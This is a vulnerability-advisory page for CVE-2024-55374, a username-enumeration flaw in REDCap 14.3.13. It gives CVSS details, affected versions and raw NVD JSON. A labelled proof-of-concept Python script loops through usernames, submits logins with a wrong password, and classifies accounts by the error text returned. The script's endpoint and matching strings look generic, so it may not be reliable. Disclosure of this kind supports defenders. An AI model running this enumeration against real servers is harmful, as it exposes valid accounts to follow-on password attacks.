Security Vulnerability Report
中文
CVE-2024-55374 CVSS 5.3 MEDIUM

CVE-2024-55374

Published: 2026-01-02 15:15:57
Last Modified: 2026-01-12 15:27:43

Description

REDCap 14.3.13 allows an attacker to enumerate usernames due to an observable discrepancy between login attempts.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:vanderbilt:redcap:14.3.13:*:*:*:*:*:*:* - VULNERABLE
REDCap < 14.3.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re target_url = "http://target-redcap-server/redcap/api/auth/" # List of usernames to test usernames = ["admin", "testuser", "user1", "john.doe", "jane.smith"] def test_username_enum(username): """ Test if a username exists by observing login response differences """ # Payload for login attempt payload = { "username": username, "password": "wrongpassword123", "action": "login" } try: response = requests.post(target_url, data=payload, timeout=10) # Analyze response for username enumeration indicators if "Invalid username" in response.text or "User not found" in response.text: return {"status": "invalid", "username": username} elif "Invalid password" in response.text or "incorrect" in response.text.lower(): return {"status": "valid", "username": username} elif response.status_code == 200 and "exists" in response.text.lower(): return {"status": "valid", "username": username} else: return {"status": "unknown", "username": username} except requests.RequestException as e: return {"status": "error", "username": username, "message": str(e)} # Run enumeration print("Starting username enumeration attack...") valid_users = [] for username in usernames: result = test_username_enum(username) if result["status"] == "valid": print(f"[+] Valid username found: {username}") valid_users.append(username) else: print(f"[-] Invalid username: {username}") print(f"\nEnumeration complete. Found {len(valid_users)} valid usernames.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-55374", "sourceIdentifier": "[email protected]", "published": "2026-01-02T15:15:56.930", "lastModified": "2026-01-12T15:27:42.607", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "REDCap 14.3.13 allows an attacker to enumerate usernames due to an observable discrepancy between login attempts."}, {"lang": "es", "value": "REDCap 14.3.13 permite a un atacante enumerar nombres de usuario debido a una discrepancia observable entre intentos de inicio de sesión."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-203"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vanderbilt:redcap:14.3.13:*:*:*:*:*:*:*", "matchCriteriaId": "953E7BCF-07A4-4592-88F3-BCF18773A3FE"}]}]}], "references": [{"url": "http://redcap.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/T3slaa/CVE-2024-55374", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}